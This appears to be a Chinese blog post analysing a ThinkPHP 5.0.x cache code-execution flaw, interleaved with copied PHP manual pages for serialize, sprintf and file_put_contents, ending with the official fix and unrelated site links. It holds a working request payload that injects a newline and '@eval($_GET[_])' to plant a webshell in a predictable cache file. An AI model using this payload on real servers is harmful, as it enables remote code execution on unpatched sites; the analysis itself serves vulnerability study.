ThinkPHP5漏洞分析之代码执行

news2024/9/21 4:30:12

漏洞概要

本次漏洞存在于 ThinkPHP 的缓存类中。该类会将缓存数据通过序列化的方式,直接存储在 .php 文件中,攻击者通过精心构造的 payload ,即可将 webshell 写入缓存文件。缓存文件的名字和目录均可预测出来,一旦缓存目录可访问或结合任意文件包含漏洞,即可触发 远程代码执行漏洞 。漏洞影响版本: 5.0.0<=ThinkPHP5<=5.0.10

漏洞环境

ThinkPHP5-5.0.10

application/index/controller/Index.php 文件代码设置如下:

<?php
namespace app\index\controller;
use think\Cache;
class Index
{
    public function index()
    {
        Cache::set("name",input("get.username"));
        return 'Cache success';
    }
}

显示Cache success,没看懂

192.168.10.128/tp5010/public/index.php?username=mochazz123%0d%0a@eval($_GET[_]);//

即可将 webshell 写入缓存文件。

可以看到缓存文件已经成功写入

漏洞分析

我们跟进 Cache 类的 set 方法,发现其先通过单例模式 init 方法,创建了一个类实例,该类由 cache 的配置项 type 决定,默认情况下其值为 File 。在本例中, self::$handler 即为 think\cache\driver\File 类实例。

thinkphp/library/think/cache/driver/ 目录下,我们可以看到 Thinkphp5 支持的几种缓存驱动类。我们接着上面的分析,程序调用 think\cache\driver\File 类的 set 方法。可以看到 data 数据没有经过任何处理,只是序列化后拼接存储在文件中,这里的 $this->options['data_compress'] 变量默认情况下为 false ,所以数据不会经过 gzcompress 函数处理。虽然在序列化数据前面拼接了单行注释符 // ,但是我们可以通过注入换行符绕过该限制。

现在我们就来看看缓存文件的名字是如何生成的。从上一张图片 第142行 ,我们可以看到文件名是通过调用 getCacheKey 方法获得的,我们跟进该方法。可以看到缓存文件的子目录和文件名均和缓存类设置的键有关(如本例中缓存类设置的键为 name )。程序先获得键名的 md5 值,然后将该 md5 值的前 2 个字符作为缓存子目录,后 30 字符作为缓存文件名。如果应用程序还设置了前缀 $this->options['prefix'] ,那么缓存文件还将多一个上级目录。  

data:"s"表示字符串;20表示长度,

php 序列化的字母标识_php中 序列化字符串以o开头跟以c开头有什么区别-CSDN博客

serialize

(PHP 4, PHP 5, PHP 7, PHP 8)

serialize — 生成值的可存储表示

说明

serialize(mixed $value): string

生成值的可存储表示。

这有利于存储或传递 PHP 的值,同时不丢失其类型和结构。

想要将已序列化的字符串变回 PHP 的值,可使用 unserialize()。

参数

value

要序列化的值。serialize() 处理所有的类型,除了 resource 类型和一些 object(见下面的注释)。serialize() 甚至可以序列化包含对自身引用的数组。数组/对象内的循环引用也会被存储。其它任何引用都会丢失。

序列化对象时,PHP 将尝试在序列化之前调用成员函数 __serialize() 或 __sleep()。这是为了允许对象在序列化之前进行最后一分钟的清理等等。同样,当使用 unserialize() 恢复对象时,会调用 __unserialize() 或 __wakeup() 成员函数。

注意:

对象的 private 成员会在名前添加类名;protected 成员会在名前添加“*”;这些前置值在两边都有 null 字节。

返回值

返回字符串,包含 value 的字节流表示,可以存储在任何地方。

注意这可能是包含 null 字节的二进制字符串,需要按原样存储和处理。例如,serialize() 的输出通常应该存储在数据库中 的 BLOB 字段,而不是 CHAR 或 TEXT 字段。

示例

<?php
// $sssion_data 是多维数组,包含当前用户的
// 会话信息。可以在请求结束时使用 serialize()
// 将其存储在数据库中。
$conn = odbc_connect("webdb", "php", "chicken");
$stmt = odbc_prepare($conn,
"UPDATE sessions SET data = ? WHERE id = ?");
$sqldata = array (serialize($session_data), $_SERVER['PHP_AUTH_USER']);
if (!odbc_execute($stmt, $sqldata)) {
$stmt = odbc_prepare($conn,
"INSERT INTO sessions (id, data) VALUES(?, ?)");
if (!odbc_execute($stmt, array_reverse($sqldata))) {
/* Something went wrong.. */
}
}
?>

注释

注意:

注意许多内置 PHP 对象不能序列化。然而,要么实现 Serializable 接口,要么实现 __serialize()/__unserialize() 或 __sleep()/__wakeup() 魔术方法的则是可以的。如果内部类不满足这些其中任意一个,则就不能可靠的进行序列化。

上述规则有一些历史例外,一些内部对象可以在不实现接口或公开方法的情况下,使其序列化。

 %0使用0来填充12位,

d参数视为整数并以(有符号)十进制数字呈现。

sprintf

PHP: sprintf - Manual

(PHP 4, PHP 5, PHP 7, PHP 8)

sprintf — 返回格式化字符串

说明

sprintf(string $format, mixed ...$values): string

返回一个根据格式化字符串 format 生成的字符串。

示例  参数替换

支持按顺序用参数替换格式字符串里的占位符。

<?php
$num = 5;
$location = 'tree';

$format = 'There are %d monkeys in the %s';
echo sprintf($format, $num, $location);
?>

以上示例会输出:

There are 5 monkeys in the tree

假设,我们想把它国际化,在一个单独的文件中创建格式字符串,我们将它重写为:

<?php
$format = 'The %s contains %d monkeys';
echo sprintf($format, $num, $location);
?>

我们现在有一个问题。 格式字符串中占位符的顺序与代码中参数的顺序不匹配。 我们希望保持代码原样,并在格式字符串中简单地指出占位符引用的参数。 我们可以这样写格式化字符串:

<?php
$format = 'The %2$s contains %1$d monkeys';
echo sprintf($format, $num, $location);
?>

另外一个好处是占位符可以重复使用,而无需在代码中添加更多参数。

<?php
$format = 'The %2$s contains %1$d monkeys.
That\'s a nice %2$s full of %1$d monkeys.';
echo sprintf($format, $num, $location);
?>

file_put_contents

(PHP 5, PHP 7, PHP 8)

file_put_contents — 将数据写入文件

说明

file_put_contents(
    string $filename,
    mixed $data,
    int $flags = 0,
    ?resource $context = null
): int|false

和依次调用 fopen(),fwrite() 以及 fclose() 功能一样。

如果 filename 不存在,将会创建文件。反之,存在的文件将会重写,除非设置 FILE_APPEND flag。

参数

filename

要被写入数据的文件名。

data

要写入的数据。类型可以是 string,array 或者是 stream 资源(如上面所说的那样)。

如果 data 指定为 stream 资源,这里 stream 中所保存的缓存数据将被写入到指定文件中,这种用法就相似于使用 stream_copy_to_stream() 函数。

参数 data 可以是数组(但不能为多维数组),这就相当于 file_put_contents($filename, join('', $array))

flags

flags 的值可以是 以下 flag 使用 OR (|) 运算符进行的组合。

Available flags
Flag描述
FILE_USE_INCLUDE_PATH在 include 目录里搜索 filename。 更多信息可参见 include_path。
FILE_APPEND如果文件 filename 已经存在,追加数据而不是覆盖。
LOCK_EX在写入时获取文件独占锁。换句话说,在调用 fopen() 和 fwrite() 中间发生了 flock() 调用。这与调用带模式“x”的 fopen() 不同。

context

一个 context 资源。

返回值

该函数将返回写入到文件内数据的字节数,失败时返回false

警告

此函数可能返回布尔值 false,但也可能返回等同于 false 的非布尔值。请阅读 布尔类型章节以获取更多信息。应使用 === 运算符来测试此函数的返回值。

示例

<?php
$file = 'people.txt';
// 打开文件获取已经存在的内容
$current = file_get_contents($file);
// 追加新成员到文件
$current .= "John Smith\n";
// 将内容写回文件
file_put_contents($file, $current);
?>

至此,我们已将本次漏洞分析完毕,接下来还想说说关于该漏洞的一些细节。首先,这个漏洞要想利用成功,我们得知道缓存类所设置的键名,这样才能找到 webshell 路径;其次如果按照官方说明开发程序, webshell 最终会被写到 runtime 目录下,而官方推荐 public 作为 web 根目录,所以即便我们写入了 shell ,也无法直接访问到;最后如果程序有设置 $this->options['prefix'] 的话,在没有源码的情况下,我们还是无法获得 webshell 的准确路径

解释:

?username=mochazz123%0d%0a@eval($_GET[_]);//

这里的%0d%0a十六进制代表" \r \n "换行符, 而<?php\n//会将我们的内容都给注释掉,为了能跳出注释,这里使用换行,而我们输入最后的注释是要注释掉后边产生要闭合的' "; ' 

漏洞修复

官方的修复方法是:将数据拼接在 php 标签之外,并在 php 标签中拼接 exit() 函数。

现在明白刚开始提示的Cache success了。。。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2039557.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【张】#12 enum 枚举

enum 枚举定义格式&#xff1a; enum <类型名> {<枚举常量表> }; 枚举其实就是一个整数 enum example {Aa,Bb10,Cc //给Bb赋值为10后&#xff0c;Cc的值会变成11 }; 枚举变量只能使用枚举值&#xff0c;枚举可以赋值给整型&#xff0c;整型不能赋值给枚举 #inc…

掌握Jenkins自动化部署:从代码提交到自动上线的全流程揭秘

Jenkins自动化部署是现代软件开发中不可或缺的一部分&#xff0c;它不仅简化了代码的发布过程&#xff0c;还为整个团队带来了无与伦比的效率和协作力。想象一下&#xff0c;开发者们可以专注于编写高质量的代码&#xff0c;而不是为繁琐的手动部署所烦恼&#xff1b;测试人员能…

力扣高频SQL 50题(基础版)第四十四题之626. 换座位

文章目录 力扣高频SQL 50题&#xff08;基础版&#xff09;第四十四题之626. 换座位626. 换座位题目说明思路分析实现过程准备数据实现方式结果截图 力扣高频SQL 50题&#xff08;基础版&#xff09;第四十四题之626. 换座位 626. 换座位 题目说明 表: Seat --------------…

<数据集>街头摊贩识别数据集<目标检测>

数据集格式&#xff1a;VOCYOLO格式 图片数量&#xff1a;966张 标注数量(xml文件个数)&#xff1a;966 标注数量(txt文件个数)&#xff1a;966 标注类别数&#xff1a;1 标注类别名称&#xff1a;[street-vendor] 序号类别名称图片数框数1street-vendor9662016 使用标注…

Java流程控制02:if选择结构

本节内容教学视频链接&#xff1a;Java流程控制04&#xff1a;if选择结构_哔哩哔哩_bilibilihttps://www.bilibili.com/video/BV12J41137hu?p36&vd_sourceb5775c3a4ea16a5306db9c7c1c1486b5 在Java中&#xff0c;if 选择结构用于根据特定条件执行不同的代码块。 if语句有四…

CRC校验算法详解、C语言实现

一、前言 1.1 CRC算法介绍 CRC&#xff08;Cyclic Redundancy Check&#xff09;校验算法是一种广泛应用于数据通信和存储系统中的错误检测方法&#xff0c;主要用于检测数据在传输过程中是否发生了改变。CRC算法通过计算一个固定长度的校验码&#xff0c;将该校验码附加到原…

Zookeeper使用快速入门:基础命令,wacth监控,权限控制

目录 前置知识 1. 基础命令 未知指令&#xff1a; ls&#xff1a; create&#xff1a; zookeeper中节点有四种类型&#xff0c;分别是&#xff1a; 1. 持久节点&#xff08;Persistent Node&#xff09; 2. 临时节点&#xff08;Ephemeral Node&#xff09; 3. 持久顺序…

进程间通信 ---共享内存

序言 在前一篇文章中&#xff0c;我们介绍了名为 &#x1f449;管道 的进程间通信的方式&#xff0c;该种方式又可分为 匿名管带&#xff0c;命名管道。前者最大的特点就是 仅支持包含血缘关系两进程之间的通信&#xff0c;而后者 支持任意进程间的通信。  在本篇文章中&…

python3.9+wxPython设计的一个简单的计算器

运行环境&#xff1a;python3.9wxPython4.2.1 运行效果&#xff1a; 按下等于号&#xff0c;输出&#xff1a; 按下R键&#xff0c;保留两位小数 键盘布局与逻辑分离&#xff0c;添加删除功能一般功能或修改键盘布局只需要更改词典的顺序即可。添加特殊功能时则需要将队对应的…

【kubernetes】k8s配置资源管理

一、ConfigMap资源配置 ConfigMap保存的是不需要加密配置的信息 ConfigMap 功能在 Kubernetes1.2 版本中引入&#xff0c;许多应用程序会从配置文件、命令行参数或环境变量中读取配置信息。ConfigMap API 给我们提供了向容器中注入配置信息的机制&#xff0c;ConfigMap 可以被…

基于vue框架的CKD电子病历系统nfa2e(程序+源码+数据库+调试部署+开发环境)系统界面在最后面。

系统程序文件列表 项目功能&#xff1a;患者,医生,药品信息,电子病历,临时医嘱,长期医嘱,健康科普 开题报告内容 基于Vue框架的CKD电子病历系统 开题报告 一、选题背景 随着信息技术的飞速发展和医疗信息化的深入推进&#xff0c;电子病历系统&#xff08;Electronic Medic…

SpringBoot事务-调度-缓存

一.Spring Boot中的事务管理 设置事务 Transactional(isolation Isolation.DEFAULT) Transactional(propagation Propagation.REQUIRED) 开启事务 EnableTransactionManagement ​​​​​​​ 1. 开启事务管理 要开启 Spring 的事务管理&#xff0c;你需要在你的 Spring B…

Docker 日志管理

一、ELK -Filebeat Elasticsearch 数据的存储和检索 常用端口&#xff1a; 9100&#xff1a;elasticsearch-head提供web访问 9200&#xff1a;elasticsearch与其他程序连接或发送消息 9300&#xff1a;elasticsearch集群状态 Logstash 有三个组件构成input&#xff0c;fi…

网安行业薪资:「3人拿4干5」

吉祥知识星球http://mp.weixin.qq.com/s?__bizMzkwNjY1Mzc0Nw&mid2247485367&idx1&sn837891059c360ad60db7e9ac980a3321&chksmc0e47eebf793f7fdb8fcd7eed8ce29160cf79ba303b59858ba3a6660c6dac536774afb2a6330#rd 《网安面试指南》http://mp.weixin.qq.com/s…

计算机毕业设计 农家乐管理平台 Java+SpringBoot+Vue 前后端分离 文档报告 代码讲解 安装调试

&#x1f34a;作者&#xff1a;计算机编程-吉哥 &#x1f34a;简介&#xff1a;专业从事JavaWeb程序开发&#xff0c;微信小程序开发&#xff0c;定制化项目、 源码、代码讲解、文档撰写、ppt制作。做自己喜欢的事&#xff0c;生活就是快乐的。 &#x1f34a;心愿&#xff1a;点…

Linux | Linux开发工具链全攻略:yum、vim、gcc/g++、GDB、Makefile与git版本控制

目录 Linux开发环境全解析&#xff1a;工具、编程与版本控制 1、软件包管理器YUM 查看可用的软件包 安装软件包 更新软件包 卸载软件包 查找软件包信息 清理缓存 检查可更新的软件包 显示软件包的依赖关系 2、Vim编辑器 vim的三种模式&#xff1a;命令模式、插入模…

计算机基础知识复习8.13

cookie和session区别 cookie:是服务器发送到浏览器&#xff0c;并保存在浏览器端的一小块数据 浏览器下次访问服务时&#xff0c;会自动携带该块数据&#xff0c;将其发送给服务器 session:是javaEE标准&#xff0c;用于在服务端记录客户端信息 数据存放在服务端更加安全&a…

Leetcode JAVA刷刷站(14)最长公共前缀

一、题目概述 二、思路方向 在Java中&#xff0c;要编写一个函数来查找字符串数组中的最长公共前缀&#xff0c;我们可以遵循以下步骤&#xff1a; 处理边界条件&#xff1a;如果数组为空或长度为0&#xff0c;直接返回空字符串。初始化最长公共前缀&#xff1a;将数组的第一个…

[0CTF 2016]piapiapia1

打开题目 看到登录口 字符串绕过长度限制strlen($_POST[nickname]) > 10

Json Formatter工具

JSON 格式化工具的选择与使用 作为开发人员&#xff0c;我们经常需要查看和格式化 JSON 数据。虽然市面上有很多 JSON 工具可以满足这一需求&#xff0c;但在某些情况下&#xff0c;标准的 JSON 工具可能并不够用。 例如&#xff0c;处理一个 JavaScript 对象的格式&#xff…